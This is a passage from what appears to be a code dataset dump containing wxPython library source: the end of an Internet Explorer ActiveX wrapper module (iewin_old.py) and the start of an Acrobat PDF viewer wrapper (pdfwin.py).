wx.activex.RegisterActiveXEvent('WindowSetHeight')\nwxEVT_WindowClosing = wx.activex.RegisterActiveXEvent('WindowClosing')\nwxEVT_ClientToHostWindow = wx.activex.RegisterActiveXEvent('ClientToHostWindow')\nwxEVT_SetSecureLockIcon = wx.activex.RegisterActiveXEvent('SetSecureLockIcon')\nwxEVT_FileDownload = wx.activex.RegisterActiveXEvent('FileDownload')\nwxEVT_NavigateError = wx.activex.RegisterActiveXEvent('NavigateError')\nwxEVT_PrintTemplateInstantiation = wx.activex.RegisterActiveXEvent('PrintTemplateInstantiation')\nwxEVT_PrintTemplateTeardown = wx.activex.RegisterActiveXEvent('PrintTemplateTeardown')\nwxEVT_UpdatePageStatus = wx.activex.RegisterActiveXEvent('UpdatePageStatus')\nwxEVT_PrivacyImpactedStateChange = wx.activex.RegisterActiveXEvent('PrivacyImpactedStateChange')\n\nEVT_StatusTextChange = wx.PyEventBinder(wxEVT_StatusTextChange, 1)\nEVT_ProgressChange = wx.PyEventBinder(wxEVT_ProgressChange, 1)\nEVT_CommandStateChange = wx.PyEventBinder(wxEVT_CommandStateChange, 1)\nEVT_DownloadBegin = wx.PyEventBinder(wxEVT_DownloadBegin, 1)\nEVT_DownloadComplete = wx.PyEventBinder(wxEVT_DownloadComplete, 1)\nEVT_TitleChange = wx.PyEventBinder(wxEVT_TitleChange, 1)\nEVT_PropertyChange = wx.PyEventBinder(wxEVT_PropertyChange, 1)\nEVT_BeforeNavigate2 = wx.PyEventBinder(wxEVT_BeforeNavigate2, 1)\nEVT_NewWindow2 = wx.PyEventBinder(wxEVT_NewWindow2, 1)\nEVT_NavigateComplete2 = wx.PyEventBinder(wxEVT_NavigateComplete2, 1)\nEVT_DocumentComplete = wx.PyEventBinder(wxEVT_DocumentComplete, 1)\nEVT_Quit = wx.PyEventBinder(wxEVT_Quit, 1)\nEVT_Visible = wx.PyEventBinder(wxEVT_Visible, 1)\nEVT_ToolBar = wx.PyEventBinder(wxEVT_ToolBar, 1)\nEVT_MenuBar = wx.PyEventBinder(wxEVT_MenuBar, 1)\nEVT_StatusBar = wx.PyEventBinder(wxEVT_StatusBar, 1)\nEVT_FullScreen = wx.PyEventBinder(wxEVT_FullScreen, 1)\nEVT_TheaterMode = wx.PyEventBinder(wxEVT_TheaterMode, 1)\nEVT_WindowSetResizable = wx.PyEventBinder(wxEVT_WindowSetResizable, 1)\nEVT_WindowSetLeft = wx.PyEventBinder(wxEVT_WindowSetLeft, 1)\nEVT_WindowSetTop = wx.PyEventBinder(wxEVT_WindowSetTop, 1)\nEVT_WindowSetWidth = wx.PyEventBinder(wxEVT_WindowSetWidth, 1)\nEVT_WindowSetHeight = wx.PyEventBinder(wxEVT_WindowSetHeight, 1)\nEVT_WindowClosing = wx.PyEventBinder(wxEVT_WindowClosing, 1)\nEVT_ClientToHostWindow = wx.PyEventBinder(wxEVT_ClientToHostWindow, 1)\nEVT_SetSecureLockIcon = wx.PyEventBinder(wxEVT_SetSecureLockIcon, 1)\nEVT_FileDownload = wx.PyEventBinder(wxEVT_FileDownload, 1)\nEVT_NavigateError = wx.PyEventBinder(wxEVT_NavigateError, 1)\nEVT_PrintTemplateInstantiation = wx.PyEventBinder(wxEVT_PrintTemplateInstantiation, 1)\nEVT_PrintTemplateTeardown = wx.PyEventBinder(wxEVT_PrintTemplateTeardown, 1)\nEVT_UpdatePageStatus = wx.PyEventBinder(wxEVT_UpdatePageStatus, 1)\nEVT_PrivacyImpactedStateChange = wx.PyEventBinder(wxEVT_PrivacyImpactedStateChange, 1)\n\n\n# For this there are a few special methods implemented in C++ in the\n# IEHtmlWindowBase class, so derive from it instead of ActiveXWindow.\nclass IEHtmlWindow(wx.activex.IEHtmlWindowBase):\n def __init__(self, parent, id=-1, pos=wx.DefaultPosition,\n size=wx.DefaultSize, style=0, name='IEHtmlWindow', ID=-1):\n # in case the old 'ID' param is used as a keyword\n if ID != -1:\n id = ID\n \n wx.activex.IEHtmlWindowBase.__init__(self, parent,\n wx.activex.CLSID('{8856F961-340A-11D0-A96B-00C04FD705A2}'),\n id, pos, size, style, name)\n\n\n # Methods from IEHtmlWindowBase. Redirected from here just for\n # the sake of completeness...\n def LoadString(self, html):\n \"\"\"Load the html document from a string\"\"\"\n return wx.activex.IEHtmlWindowBase.LoadString(self, html)\n\n\n def LoadStream(self, stream):\n \"\"\"\n Load the html document from a wx.InputStream or a Python\n file-like object.\n \"\"\"\n return wx.activex.IEHtmlWindowBase.LoadStream(self, stream)\n\n\n def LoadUrl(self, URL, Flags=0):\n \"\"\"Load the document from url.\"\"\"\n return self.Navigate2(URL, Flags)\n\n\n def GetStringSelection(self, asHTML=True):\n \"\"\"\n Returns the contents of the selected portion of the document as\n either html or plain text.\n \"\"\"\n return wx.activex.IEHtmlWindowBase.GetStringSelection(self, asHTML)\n\n\n def GetText(self, asHTML=True):\n \"\"\"\n Returns the contents of the the html document as either html or plain text.\n \"\"\"\n return wx.activex.IEHtmlWindowBase.GetText(self, asHTML)\n \n \n def SetCharset(self, charset):\n \"\"\"\"\"\"\n return wx.activex.IEHtmlWindowBase.SetCharset(self, charset)\n\n \n # Methods exported by the ActiveX object\n def QueryInterface(self, riid):\n return self.CallAXMethod('QueryInterface', riid)\n\n def AddRef(self):\n return self.CallAXMethod('AddRef')\n\n def Release(self):\n return self.CallAXMethod('Release')\n\n def GetTypeInfoCount(self):\n return self.CallAXMethod('GetTypeInfoCount')\n\n def GetTypeInfo(self, itinfo, lcid):\n return self.CallAXMethod('GetTypeInfo', itinfo, lcid)\n\n def GetIDsOfNames(self, riid, rgszNames, cNames, lcid):\n return self.CallAXMethod('GetIDsOfNames', riid, rgszNames, cNames, lcid)\n\n def Invoke(self, dispidMember, riid, lcid, wFlags, pdispparams):\n return self.CallAXMethod('Invoke', dispidMember, riid, lcid, wFlags, pdispparams)\n\n def GoBack(self):\n return self.CallAXMethod('GoBack')\n\n def GoForward(self):\n return self.CallAXMethod('GoForward')\n\n def GoHome(self):\n return self.CallAXMethod('GoHome')\n\n def GoSearch(self):\n return self.CallAXMethod('GoSearch')\n\n # added default for Flags\n def Navigate(self, URL, Flags=0, TargetFrameName=None, PostData=None, Headers=None):\n return self.CallAXMethod('Navigate', URL, Flags, TargetFrameName, PostData, Headers)\n\n # Removed to prevent conflict with wx.Window.Refresh\n #def Refresh(self):\n # return self.CallAXMethod('Refresh')\n\n # renamed\n def RefreshPage(self, Level=REFRESH_NORMAL):\n return self.CallAXMethod('Refresh2', Level)\n\n def Stop(self):\n return self.CallAXMethod('Stop')\n\n def Quit(self):\n return self.CallAXMethod('Quit')\n\n def ClientToWindow(self, pcx, pcy):\n return self.CallAXMethod('ClientToWindow', pcx, pcy)\n\n def PutProperty(self, Property, vtValue):\n return self.CallAXMethod('PutProperty', Property, vtValue)\n\n def GetProperty(self, Property):\n return self.CallAXMethod('GetProperty', Property)\n\n # added default for flags\n def Navigate2(self, URL, Flags=0, TargetFrameName=None, PostData=None, Headers=None):\n return self.CallAXMethod('Navigate2', URL, Flags, TargetFrameName, PostData, Headers)\n\n def QueryStatusWB(self, cmdID):\n return self.CallAXMethod('QueryStatusWB', cmdID)\n\n def ExecWB(self, cmdID, cmdexecopt, pvaIn, pvaOut=None):\n return self.CallAXMethod('ExecWB', cmdID, cmdexecopt, pvaIn, pvaOut)\n\n def ShowBrowserBar(self, pvaClsid, pvarShow, pvarSize=None):\n return self.CallAXMethod('ShowBrowserBar', pvaClsid, pvarShow, pvarSize)\n\n # Getters, Setters and properties\n def _get_Application(self):\n return self.GetAXProp('Application')\n application = property(_get_Application, None)\n\n def _get_Parent(self):\n return self.GetAXProp('Parent')\n parent = property(_get_Parent, None)\n\n def _get_Container(self):\n return self.GetAXProp('Container')\n container = property(_get_Container, None)\n\n def _get_Document(self):\n return self.GetAXProp('Document')\n document = property(_get_Document, None)\n\n def _get_TopLevelContainer(self):\n return self.GetAXProp('TopLevelContainer')\n toplevelcontainer = property(_get_TopLevelContainer, None)\n\n def _get_Type(self):\n return self.GetAXProp('Type')\n type = property(_get_Type, None)\n\n def _get_Left(self):\n return self.GetAXProp('Left')\n def _set_Left(self, Left):\n self.SetAXProp('Left', Left)\n left = property(_get_Left, _set_Left)\n\n def _get_Top(self):\n return self.GetAXProp('Top')\n def _set_Top(self, Top):\n self.SetAXProp('Top', Top)\n top = property(_get_Top, _set_Top)\n\n def _get_Width(self):\n return self.GetAXProp('Width')\n def _set_Width(self, Width):\n self.SetAXProp('Width', Width)\n width = property(_get_Width, _set_Width)\n\n def _get_Height(self):\n return self.GetAXProp('Height')\n def _set_Height(self, Height):\n self.SetAXProp('Height', Height)\n height = property(_get_Height, _set_Height)\n\n def _get_LocationName(self):\n return self.GetAXProp('LocationName')\n locationname = property(_get_LocationName, None)\n\n def _get_LocationURL(self):\n return self.GetAXProp('LocationURL')\n locationurl = property(_get_LocationURL, None)\n\n def _get_Busy(self):\n return self.GetAXProp('Busy')\n busy = property(_get_Busy, None)\n\n def _get_Name(self):\n return self.GetAXProp('Name')\n name = property(_get_Name, None)\n\n def _get_HWND(self):\n return self.GetAXProp('HWND')\n hwnd = property(_get_HWND, None)\n\n def _get_FullName(self):\n return self.GetAXProp('FullName')\n fullname = property(_get_FullName, None)\n\n def _get_Path(self):\n return self.GetAXProp('Path')\n path = property(_get_Path, None)\n\n def _get_Visible(self):\n return self.GetAXProp('Visible')\n def _set_Visible(self, Visible):\n self.SetAXProp('Visible', Visible)\n visible = property(_get_Visible, _set_Visible)\n\n def _get_StatusBar(self):\n return self.GetAXProp('StatusBar')\n def _set_StatusBar(self, StatusBar):\n self.SetAXProp('StatusBar', StatusBar)\n statusbar = property(_get_StatusBar, _set_StatusBar)\n\n def _get_StatusText(self):\n return self.GetAXProp('StatusText')\n def _set_StatusText(self, StatusText):\n self.SetAXProp('StatusText', StatusText)\n statustext = property(_get_StatusText, _set_StatusText)\n\n def _get_ToolBar(self):\n return self.GetAXProp('ToolBar')\n def _set_ToolBar(self, ToolBar):\n self.SetAXProp('ToolBar', ToolBar)\n toolbar = property(_get_ToolBar, _set_ToolBar)\n\n def _get_MenuBar(self):\n return self.GetAXProp('MenuBar')\n def _set_MenuBar(self, MenuBar):\n self.SetAXProp('MenuBar', MenuBar)\n menubar = property(_get_MenuBar, _set_MenuBar)\n\n def _get_FullScreen(self):\n return self.GetAXProp('FullScreen')\n def _set_FullScreen(self, FullScreen):\n self.SetAXProp('FullScreen', FullScreen)\n fullscreen = property(_get_FullScreen, _set_FullScreen)\n\n def _get_ReadyState(self):\n return self.GetAXProp('ReadyState')\n readystate = property(_get_ReadyState, None)\n\n def _get_Offline(self):\n return self.GetAXProp('Offline')\n def _set_Offline(self, Offline):\n self.SetAXProp('Offline', Offline)\n offline = property(_get_Offline, _set_Offline)\n\n def _get_Silent(self):\n return self.GetAXProp('Silent')\n def _set_Silent(self, Silent):\n self.SetAXProp('Silent', Silent)\n silent = property(_get_Silent, _set_Silent)\n\n def _get_RegisterAsBrowser(self):\n return self.GetAXProp('RegisterAsBrowser')\n def _set_RegisterAsBrowser(self, RegisterAsBrowser):\n self.SetAXProp('RegisterAsBrowser', RegisterAsBrowser)\n registerasbrowser = property(_get_RegisterAsBrowser, _set_RegisterAsBrowser)\n\n def _get_RegisterAsDropTarget(self):\n return self.GetAXProp('RegisterAsDropTarget')\n def _set_RegisterAsDropTarget(self, RegisterAsDropTarget):\n self.SetAXProp('RegisterAsDropTarget', RegisterAsDropTarget)\n registerasdroptarget = property(_get_RegisterAsDropTarget, _set_RegisterAsDropTarget)\n\n def _get_TheaterMode(self):\n return self.GetAXProp('TheaterMode')\n def _set_TheaterMode(self, TheaterMode):\n self.SetAXProp('TheaterMode', TheaterMode)\n theatermode = property(_get_TheaterMode, _set_TheaterMode)\n\n def _get_AddressBar(self):\n return self.GetAXProp('AddressBar')\n def _set_AddressBar(self, AddressBar):\n self.SetAXProp('AddressBar', AddressBar)\n addressbar = property(_get_AddressBar, _set_AddressBar)\n\n def _get_Resizable(self):\n return self.GetAXProp('Resizable')\n def _set_Resizable(self, Resizable):\n self.SetAXProp('Resizable', Resizable)\n resizable = property(_get_Resizable, _set_Resizable)\n\n\n# PROPERTIES\n# --------------------\n# application\n# type:VT_DISPATCH arg:VT_EMPTY canGet:True canSet:False\n# \n# parent\n# type:VT_DISPATCH arg:VT_EMPTY canGet:True canSet:False\n# \n# container\n# type:VT_DISPATCH arg:VT_EMPTY canGet:True canSet:False\n# \n# document\n# type:VT_DISPATCH arg:VT_EMPTY canGet:True canSet:False\n# \n# toplevelcontainer\n# type:bool arg:VT_EMPTY canGet:True canSet:False\n# \n# type\n# type:string arg:VT_EMPTY canGet:True canSet:False\n# \n# left\n# type:int arg:int canGet:True canSet:True\n# \n# top\n# type:int arg:int canGet:True canSet:True\n# \n# width\n# type:int arg:int canGet:True canSet:True\n# \n# height\n# type:int arg:int canGet:True canSet:True\n# \n# locationname\n# type:string arg:VT_EMPTY canGet:True canSet:False\n# \n# locationurl\n# type:string arg:VT_EMPTY canGet:True canSet:False\n# \n# busy\n# type:bool arg:VT_EMPTY canGet:True canSet:False\n# \n# name\n# type:string arg:VT_EMPTY canGet:True canSet:False\n# \n# hwnd\n# type:int arg:VT_EMPTY canGet:True canSet:False\n# \n# fullname\n# type:string arg:VT_EMPTY canGet:True canSet:False\n# \n# path\n# type:string arg:VT_EMPTY canGet:True canSet:False\n# \n# visible\n# type:bool arg:bool canGet:True canSet:True\n# \n# statusbar\n# type:bool arg:bool canGet:True canSet:True\n# \n# statustext\n# type:string arg:string canGet:True canSet:True\n# \n# toolbar\n# type:int arg:int canGet:True canSet:True\n# \n# menubar\n# type:bool arg:bool canGet:True canSet:True\n# \n# fullscreen\n# type:bool arg:bool canGet:True canSet:True\n# \n# readystate\n# type:unsupported type 29 arg:VT_EMPTY canGet:True canSet:False\n# \n# offline\n# type:bool arg:bool canGet:True canSet:True\n# \n# silent\n# type:bool arg:bool canGet:True canSet:True\n# \n# registerasbrowser\n# type:bool arg:bool canGet:True canSet:True\n# \n# registerasdroptarget\n# type:bool arg:bool canGet:True canSet:True\n# \n# theatermode\n# type:bool arg:bool canGet:True canSet:True\n# \n# addressbar\n# type:bool arg:bool canGet:True canSet:True\n# \n# resizable\n# type:bool arg:bool canGet:True canSet:True\n# \n# \n# \n# \n# METHODS\n# --------------------\n# QueryInterface\n# retType: VT_VOID\n# params:\n# riid\n# in:True out:False optional:False type:unsupported type 29\n# ppvObj\n# in:False out:True optional:False type:unsupported type 26\n# \n# AddRef\n# retType: int\n# \n# Release\n# retType: int\n# \n# GetTypeInfoCount\n# retType: VT_VOID\n# params:\n# pctinfo\n# in:False out:True optional:False type:int\n# \n# GetTypeInfo\n# retType: VT_VOID\n# params:\n# itinfo\n# in:True out:False optional:False type:int\n# lcid\n# in:True out:False optional:False type:int\n# pptinfo\n# in:False out:True optional:False type:unsupported type 26\n# \n# GetIDsOfNames\n# retType: VT_VOID\n# params:\n# riid\n# in:True out:False optional:False type:unsupported type 29\n# rgszNames\n# in:True out:False optional:False type:unsupported type 26\n# cNames\n# in:True out:False optional:False type:int\n# lcid\n# in:True out:False optional:False type:int\n# rgdispid\n# in:False out:True optional:False type:int\n# \n# Invoke\n# retType: VT_VOID\n# params:\n# dispidMember\n# in:True out:False optional:False type:int\n# riid\n# in:True out:False optional:False type:unsupported type 29\n# lcid\n# in:True out:False optional:False type:int\n# wFlags\n# in:True out:False optional:False type:int\n# pdispparams\n# in:True out:False optional:False type:unsupported type 29\n# pvarResult\n# in:False out:True optional:False type:VT_VARIANT\n# pexcepinfo\n# in:False out:True optional:False type:unsupported type 29\n# puArgErr\n# in:False out:True optional:False type:int\n# \n# GoBack\n# retType: VT_VOID\n# \n# GoForward\n# retType: VT_VOID\n# \n# GoHome\n# retType: VT_VOID\n# \n# GoSearch\n# retType: VT_VOID\n# \n# Navigate\n# retType: VT_VOID\n# params:\n# URL\n# in:True out:False optional:False type:string\n# Flags\n# in:True out:False optional:False type:VT_VARIANT\n# TargetFrameName\n# in:True out:False optional:True type:VT_VARIANT\n# PostData\n# in:True out:False optional:True type:VT_VARIANT\n# Headers\n# in:True out:False optional:True type:VT_VARIANT\n# \n# Refresh\n# retType: VT_VOID\n# \n# Refresh2\n# retType: VT_VOID\n# params:\n# Level\n# in:True out:False optional:False type:VT_VARIANT\n# \n# Stop\n# retType: VT_VOID\n# \n# Quit\n# retType: VT_VOID\n# \n# ClientToWindow\n# retType: VT_VOID\n# params:\n# pcx\n# in:True out:True optional:False type:int\n# pcy\n# in:True out:True optional:False type:int\n# \n# PutProperty\n# retType: VT_VOID\n# params:\n# Property\n# in:True out:False optional:False type:string\n# vtValue\n# in:True out:False optional:False type:VT_VARIANT\n# \n# GetProperty\n# retType: VT_VARIANT\n# params:\n# Property\n# in:True out:False optional:False type:string\n# \n# Navigate2\n# retType: VT_VOID\n# params:\n# URL\n# in:True out:False optional:False type:VT_VARIANT\n# Flags\n# in:True out:False optional:False type:VT_VARIANT\n# TargetFrameName\n# in:True out:False optional:True type:VT_VARIANT\n# PostData\n# in:True out:False optional:True type:VT_VARIANT\n# Headers\n# in:True out:False optional:True type:VT_VARIANT\n# \n# QueryStatusWB\n# retType: unsupported type 29\n# params:\n# cmdID\n# in:True out:False optional:False type:unsupported type 29\n# \n# ExecWB\n# retType: VT_VOID\n# params:\n# cmdID\n# in:True out:False optional:False type:unsupported type 29\n# cmdexecopt\n# in:True out:False optional:False type:unsupported type 29\n# pvaIn\n# in:True out:False optional:False type:VT_VARIANT\n# pvaOut\n# in:True out:True optional:True type:VT_VARIANT\n# \n# ShowBrowserBar\n# retType: VT_VOID\n# params:\n# pvaClsid\n# in:True out:False optional:False type:VT_VARIANT\n# pvarShow\n# in:True out:False optional:False type:VT_VARIANT\n# pvarSize\n# in:True out:False optional:True type:VT_VARIANT\n# \n# \n# \n# \n# EVENTS\n# --------------------\n# StatusTextChange\n# retType: VT_VOID\n# params:\n# Text\n# in:True out:False optional:False type:string\n# \n# ProgressChange\n# retType: VT_VOID\n# params:\n# Progress\n# in:True out:False optional:False type:int\n# ProgressMax\n# in:True out:False optional:False type:int\n# \n# CommandStateChange\n# retType: VT_VOID\n# params:\n# Command\n# in:True out:False optional:False type:int\n# Enable\n# in:True out:False optional:False type:bool\n# \n# DownloadBegin\n# retType: VT_VOID\n# \n# DownloadComplete\n# retType: VT_VOID\n# \n# TitleChange\n# retType: VT_VOID\n# params:\n# Text\n# in:True out:False optional:False type:string\n# \n# PropertyChange\n# retType: VT_VOID\n# params:\n# szProperty\n# in:True out:False optional:False type:string\n# \n# BeforeNavigate2\n# retType: VT_VOID\n# params:\n# pDisp\n# in:True out:False optional:False type:VT_DISPATCH\n# URL\n# in:True out:False optional:False type:VT_VARIANT\n# Flags\n# in:True out:False optional:False type:VT_VARIANT\n# TargetFrameName\n# in:True out:False optional:False type:VT_VARIANT\n# PostData\n# in:True out:False optional:False type:VT_VARIANT\n# Headers\n# in:True out:False optional:False type:VT_VARIANT\n# Cancel\n# in:True out:True optional:False type:bool\n# \n# NewWindow2\n# retType: VT_VOID\n# params:\n# ppDisp\n# in:True out:True optional:False type:VT_DISPATCH\n# Cancel\n# in:True out:True optional:False type:bool\n# \n# NavigateComplete2\n# retType: VT_VOID\n# params:\n# pDisp\n# in:True out:False optional:False type:VT_DISPATCH\n# URL\n# in:True out:False optional:False type:VT_VARIANT\n# \n# DocumentComplete\n# retType: VT_VOID\n# params:\n# pDisp\n# in:True out:False optional:False type:VT_DISPATCH\n# URL\n# in:True out:False optional:False type:VT_VARIANT\n# \n# Quit\n# retType: VT_VOID\n# \n# Visible\n# retType: VT_VOID\n# params:\n# Visible\n# in:True out:False optional:False type:bool\n# \n# ToolBar\n# retType: VT_VOID\n# params:\n# ToolBar\n# in:True out:False optional:False type:bool\n# \n# MenuBar\n# retType: VT_VOID\n# params:\n# MenuBar\n# in:True out:False optional:False type:bool\n# \n# StatusBar\n# retType: VT_VOID\n# params:\n# StatusBar\n# in:True out:False optional:False type:bool\n# \n# FullScreen\n# retType: VT_VOID\n# params:\n# FullScreen\n# in:True out:False optional:False type:bool\n# \n# TheaterMode\n# retType: VT_VOID\n# params:\n# TheaterMode\n# in:True out:False optional:False type:bool\n# \n# WindowSetResizable\n# retType: VT_VOID\n# params:\n# Resizable\n# in:True out:False optional:False type:bool\n# \n# WindowSetLeft\n# retType: VT_VOID\n# params:\n# Left\n# in:True out:False optional:False type:int\n# \n# WindowSetTop\n# retType: VT_VOID\n# params:\n# Top\n# in:True out:False optional:False type:int\n# \n# WindowSetWidth\n# retType: VT_VOID\n# params:\n# Width\n# in:True out:False optional:False type:int\n# \n# WindowSetHeight\n# retType: VT_VOID\n# params:\n# Height\n# in:True out:False optional:False type:int\n# \n# WindowClosing\n# retType: VT_VOID\n# params:\n# IsChildWindow\n# in:True out:False optional:False type:bool\n# Cancel\n# in:True out:True optional:False type:bool\n# \n# ClientToHostWindow\n# retType: VT_VOID\n# params:\n# CX\n# in:True out:True optional:False type:int\n# CY\n# in:True out:True optional:False type:int\n# \n# SetSecureLockIcon\n# retType: VT_VOID\n# params:\n# SecureLockIcon\n# in:True out:False optional:False type:int\n# \n# FileDownload\n# retType: VT_VOID\n# params:\n# Cancel\n# in:True out:True optional:False type:bool\n# \n# NavigateError\n# retType: VT_VOID\n# params:\n# pDisp\n# in:True out:False optional:False type:VT_DISPATCH\n# URL\n# in:True out:False optional:False type:VT_VARIANT\n# Frame\n# in:True out:False optional:False type:VT_VARIANT\n# StatusCode\n# in:True out:False optional:False type:VT_VARIANT\n# Cancel\n# in:True out:True optional:False type:bool\n# \n# PrintTemplateInstantiation\n# retType: VT_VOID\n# params:\n# pDisp\n# in:True out:False optional:False type:VT_DISPATCH\n# \n# PrintTemplateTeardown\n# retType: VT_VOID\n# params:\n# pDisp\n# in:True out:False optional:False type:VT_DISPATCH\n# \n# UpdatePageStatus\n# retType: VT_VOID\n# params:\n# pDisp\n# in:True out:False optional:False type:VT_DISPATCH\n# nPage\n# in:True out:False optional:False type:VT_VARIANT\n# fDone\n# in:True out:False optional:False type:VT_VARIANT\n# \n# PrivacyImpactedStateChange\n# retType: VT_VOID\n# params:\n# bImpacted\n# in:True out:False optional:False type:bool\n# \n# \n# \n# \n", "id": "12487101", "language": "Python", "matching_score": 5.773106575012207, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/iewin_old.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.lib.pdfwin\n# Purpose: A class that allows the use of the Acrobat PDF reader\n# ActiveX control\n#\n# Author: <NAME>\n#\n# Created: 22-March-2004\n# RCS-ID: $Id: pdfwin.py 49208 2007-10-18 00:40:21Z RD $\n# Copyright: (c) 2004 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\nimport wx\n\n#----------------------------------------------------------------------\n\n_acroversion = None\n\ndef get_acroversion():\n \" Return version of Adobe Acrobat executable or None\"\n global _acroversion\n if _acroversion == None and wx.PlatformInfo[1] == 'wxMSW':\n import _winreg\n adobesoft = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, r'Software\\Adobe')\n acrokeys, acroversions = [], []\n for index in range(_winreg.QueryInfoKey(adobesoft)[0]):\n key = _winreg.EnumKey(adobesoft, index)\n if \"acrobat\" in key.lower():\n acrokeys.append(_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, 'Software\\\\Adobe\\\\%s' % key))\n for acrokey in acrokeys:\n for index in range(_winreg.QueryInfoKey(acrokey)[0]):\n key = _winreg.EnumKey(acrokey, index)\n try:\n acroversions.append(float(key))\n except:\n pass\n acroversions.sort(reverse=True)\n if acroversions:\n _acroversion = acroversions[0]\n return _acroversion\n \n\n#----------------------------------------------------------------------\n\n# The ActiveX module from Acrobat 7.0 has changed and it seems to now\n# require much more from the container than what our wx.activex module\n# provides. If we try to use it via wx.activex then Acrobat crashes.\n# So instead we will use Internet Explorer (via the win32com modules\n# so we can use better dynamic dispatch) and embed the Acrobat control\n# within that. Acrobat provides the IAcroAXDocShim COM class that is\n# accessible via the IE window's Document property after a PDF file\n# has been loaded.\n#\n# Details of the Acrobat reader methods can be found in\n# http://partners.adobe.com/public/developer/en/acrobat/sdk/pdf/iac/IACOverview.pdf\n# http://partners.adobe.com/public/developer/en/acrobat/sdk/pdf/iac/IACReference.pdf\n#\n# Co-ordinates passed as parameters are in points (1/72 inch).\n\n\nif get_acroversion() >= 7.0:\n\n from wx.lib.activexwrapper import MakeActiveXClass\n import win32com.client.gencache\n _browserModule = win32com.client.gencache.EnsureModule(\n \"{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\", 0, 1, 1)\n\n class PDFWindowError(RuntimeError):\n def __init__(self):\n RuntimeError.__init__(self, \"A PDF must be loaded before calling this method.\")\n \n\n class PDFWindow(wx.Panel):\n def __init__(self, *args, **kw):\n wx.Panel.__init__(self, *args, **kw)\n \n # Make a new class that derives from the WebBrowser class\n # in the COM module imported above. This class also\n # derives from wxWindow and implements the machinery\n # needed to integrate the two worlds.\n _WebBrowserClass = MakeActiveXClass(_browserModule.WebBrowser)\n self.ie = _WebBrowserClass(self, -1)\n sizer = wx.BoxSizer()\n sizer.Add(self.ie, 1, wx.EXPAND)\n self.SetSizer(sizer)\n\n \n def LoadFile(self, fileName):\n \"\"\"\n Opens and displays the specified document within the browser.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.LoadFile(fileName)\n else:\n self.ie.Navigate2(fileName)\n return True # can we sense failure at this point?\n \n def GetVersions(self):\n \"\"\"\n Deprecated: No longer available - do not use.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.GetVersions()\n else:\n raise PDFWindowError()\n \n def Print(self):\n \"\"\"\n Prints the document according to the specified options in a user dialog box.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.Print()\n else:\n raise PDFWindowError()\n \n def goBackwardStack(self):\n \"\"\"\n Goes to the previous view on the view stack, if it exists.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.goBackwardStack()\n else:\n raise PDFWindowError()\n\n def goForwardStack(self):\n \"\"\"\n Goes to the next view on the view stack, if it exists.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.goForwardStack()\n else:\n raise PDFWindowError()\n\n def gotoFirstPage(self):\n \"\"\"\n Goes to the first page in the document.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.gotoFirstPage()\n else:\n raise PDFWindowError()\n\n def gotoLastPage(self):\n \"\"\"\n Goes to the last page in the document.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.gotoLastPage()\n else:\n raise PDFWindowError()\n\n def gotoNextPage(self):\n \"\"\"\n Goes to the next page in the document, if it exists\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.gotoNextPage()\n else:\n raise PDFWindowError()\n\n def gotoPreviousPage(self):\n \"\"\"\n Goes to the previous page in the document, if it exists.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.gotoPreviousPage()\n else:\n raise PDFWindowError()\n\n def printAll(self):\n \"\"\"\n Prints the entire document without displaying a user\n dialog box. The current printer, page settings, and job\n settings are used. This method returns immediately, even\n if the printing has not completed.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.printAll()\n else:\n raise PDFWindowError()\n\n def printAllFit(self, shrinkToFit):\n \"\"\"\n Prints the entire document without a user dialog box, and\n (if shrinkToFit) shrinks pages as needed to fit the\n imageable area of a page in the printer.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.printAllFit(shrinkToFit)\n else:\n raise PDFWindowError()\n\n def printPages(self, from_, to):\n \"\"\"\n Prints the specified pages without displaying a user dialog box.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.printPages(from_, to)\n else:\n raise PDFWindowError()\n\n def printPagesFit(self, from_, to, shrinkToFit):\n \"\"\"\n Prints the specified pages without displaying a user\n dialog box, and (if shrinkToFit) shrinks pages as needed\n to fit the imageable area of a page in the printer.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.printPagesFit( from_, to, shrinkToFit)\n else:\n raise PDFWindowError()\n\n def printWithDialog(self):\n \"\"\"\n Prints the document according to the specified options in\n a user dialog box. These options may include embedded\n printing and specifying which printer is to be used.\n \n NB. The page range in the dialog defaults to\n 'From Page 1 to 1' - Use Print() above instead. (dfh) \n \"\"\"\n if self.ie.Document:\n return self.ie.Document.printWithDialog()\n else:\n raise PDFWindowError()\n\n def setCurrentHighlight(self, a, b, c, d):\n if self.ie.Document:\n return self.ie.Document.setCurrentHighlight(a, b, c, d)\n else:\n raise PDFWindowError()\n\n def setCurrentPage(self, npage):\n \"\"\"\n Goes to the specified page in the document. Maintains the\n current location within the page and zoom level. npage is\n the page number of the destination page. The first page\n in a document is page 0.\n \n ## Oh no it isn't! The first page is 1 (dfh)\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setCurrentPage(npage)\n else:\n raise PDFWindowError()\n\n def setLayoutMode(self, layoutMode):\n \"\"\"\n LayoutMode possible values:\n \n ================= ====================================\n 'DontCare' use the current user preference\n 'SinglePage' use single page mode (as in pre-Acrobat\n 3.0 viewers)\n 'OneColumn' use one-column continuous mode\n 'TwoColumnLeft' use two-column continuous mode, first\n page on the left\n 'TwoColumnRight' use two-column continuous mode, first\n page on the right\n ================= ====================================\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setLayoutMode(layoutMode)\n else:\n raise PDFWindowError()\n\n def setNamedDest(self, namedDest):\n \"\"\"\n Changes the page view to the named destination in the specified string.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setNamedDest(namedDest)\n else:\n raise PDFWindowError()\n\n def setPageMode(self, pageMode):\n \"\"\"\n Sets the page mode 